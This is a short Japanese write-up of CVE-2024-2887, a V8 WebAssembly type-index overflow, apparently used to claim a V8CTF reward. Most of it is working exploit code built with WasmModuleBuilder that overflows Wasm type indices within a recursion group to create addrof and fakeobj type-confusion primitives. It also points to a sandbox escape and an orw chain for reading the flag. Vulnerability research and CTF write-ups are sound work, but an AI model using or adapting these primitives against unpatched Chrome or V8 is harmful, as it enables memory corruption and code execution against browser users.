
V8CTF M123 用
これは、V8CTF M123 をクレームするために使用した CVE-2024-2887 の簡単な解説です。
kV8MaxWasmTypes よりも多くの型を定義する場合(RecGroup 内に型を追加することで実現可能)、型インデックスが 20 ビットを超えてオーバーフローする可能性があります。その結果、同じ heap_type を持つ 2 つの型が同一と見なされる可能性があります。
ref オブジェクトを持つ配列を作成し、float64 配列を介して読み取ることで addrof プリミティブを実現できます。また、float64 配列を作成し、それをオブジェクトとして読み取ることで fakeobj プリミティブを実現できます。
wasm モジュールのビルダーは以下の通りです:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
サンドボックス回避については、V8-Sandbox-Escape-via-Regexp を参照してください。最終的なエクスプロイトでは、標準的な orw チェーンを使用して、フラグを stderr 経由で書き出します。